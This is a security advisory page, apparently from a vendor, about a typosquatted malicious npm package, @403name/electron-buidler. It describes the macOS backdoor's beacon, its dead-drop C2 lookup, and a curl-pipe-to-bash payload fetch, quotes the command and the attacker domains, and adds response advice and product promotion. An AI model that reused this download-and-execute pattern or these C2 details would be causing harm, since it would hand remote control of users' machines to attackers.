@403name/electron-buidlernpm
@403name/electron-buidler is a confirmed malicious npm package (MAL-2026-5547) that opens a backdoor for remote access (malicious versions 1.0.0, 1.0.1, 1.0.2). Do not install it — remove it immediately and rotate any exposed credentials.
Malicious code in @403name/electron-buidler (npm)
What this malware does
On require(), index.js executes an immediately-invoked function that platform-gates to macOS, skips CI environments, drops a one-shot marker file in ~/.cache/.nyx-npm/eb, then after a 30-90 second random delay performs two attacker-controlled network operations. First, it issues a curl GET to https://k7xm9q.xyz/api/clickfix-callback carrying a beacon ID, $USER, os.hostname(), and the literal tag 'npm_electron-buidler' as query parameters, identifying the victim to the attacker. Second, it fetches a dead-drop file at https://raw.githubusercontent.com/nyx-deploy/config/main/c2.txt to learn a C2 base (base64-encoded fallback decodes to https://k7xm9q.xyz), then pipes curl -sSfL <C2>/api/payload/ | /bin/bash via spawn('/bin/sh','-c',...) with & disown to detach the shell. The C2 host is concealed via atob('aHR0cHM6Ly9rN3htOXEueHl6'). The package name '@403name/electron-buidler' is a one-character typo of the popular 'electron-builder' package under an unrelated scope; the README's 'Electron application builder' claim is a cover for the dropper. Importing this package on a non-CI macOS host yields full remote code execution as the installing user with attacker-controlled payload delivery and no consent.
Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
Malicious versions
Indicators of compromise (SHA-256)
Detection & response playbook
Backdoor / remote accessFind it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for @403name/electron-buidler (3 malicious versions). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging @403name/electron-buidler across your stack and pipelines.
If you installed it — respond
@403name/electron-buidler establishes remote access, so treat any host that installed it as fully compromised. Isolate the machine, remove the package, rotate all credentials it could reach, and rebuild from a trusted image rather than cleaning in place — a backdoor may have planted additional persistence.
Did it already run?
If @403name/electron-buidler was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks @403name/electron-buidler before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.
Frequently asked questions
Campaign
References
Credits
- Amazon Inspector · finder
Detect & block this
O3 blocks @403name/electron-buidler-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the C2 callback and severs the channel.